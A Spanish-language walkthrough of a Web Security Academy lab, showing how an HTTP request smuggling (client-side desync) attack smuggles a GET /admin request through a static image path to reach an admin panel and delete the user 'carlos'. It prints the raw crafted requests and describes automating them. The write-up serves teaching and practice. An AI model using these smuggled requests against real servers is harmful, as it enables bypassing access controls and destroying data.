
LAB
En el sitio web podemos observar que tenemos un apartado de administrador. Teniendo en cuenta que el frontend acepta content-length y el backend acepta todo.

El cual este apartado no se tiene acceso.

Para lo que construiremos nuestra solicitud maliciosa. Al construir nuestra solicitud y enviarla, el servidor nos responde con un error de {"error":"Both chunked encoding and content-length were specified"}

{"error":"Both chunked encoding and content-length were specified"}Por lo que se borro la cabecera de Transfer-Encoding
POST /resources/labheader/images/logoAcademyDark.svg HTTP/1.1
Host: 0af200eb03afbd9880e31215004c00d0.web-security-academy.net
Content-Length: 84
GET /404 HTTP/1.1
Host: 0af200eb03afbd9880e31215004c00d0.web-security-academy.netAl enviar la solicitud vemos que tenemos otro mensaje, el que indica que se están duplicando las cabeceras.

Por lo que cambien de Host a test y al enviar la solicitud el servidor nos responde con un 200 OK.

Al enviar la segunda solicitud, observamos que este nos genera un error pero con un detalle, el que este da una ruta que es /404 el que ingresamos anteriormente.

Teniendo en cuenta lo anterior, y que en la segunda solicitud el servidor responde dando pase a la ruta que nosotros como atacantes le ingresamos.
Ahora que entendemos lo anterior, ahora construimos la solicitud con la ruta /admin y enviamos.
POST /resources/labheader/images/logoAcademyDark.svg HTTP/1.1
Host: 0af200eb03afbd9880e31215004c00d0.web-security-academy.net
Content-Length: 86
GET /admin HTTP/1.1
test: 0af200eb03afbd9880e31215004c00d0.web-security-academy.netAhora que enviamos la segunda solicitud, podemos observar que efectivamente vemos el panel de administrador /admin.

Por lo que podemos automatizar esto, agregando las dos solicitudes a un grupo y cambiando el tipo de envió.


Luego podemos observar que para completar el laboratorio, tenemos que borrar al usuario carlos.
<a href="/admin/delete?username=carlos">Delete</a>Para eliminar al usuario carlos, debemos enviar una solicitud GET a la ruta /admin/delete?username=carlos

Al enviar la solicitud podemos observar que tenemos una respuesta de 302 Found el cual indica que se elimino con exito.


Al volver a consultar al panel del administrador /admin

Se observa que el usuario carlos fue eliminado correctamente.
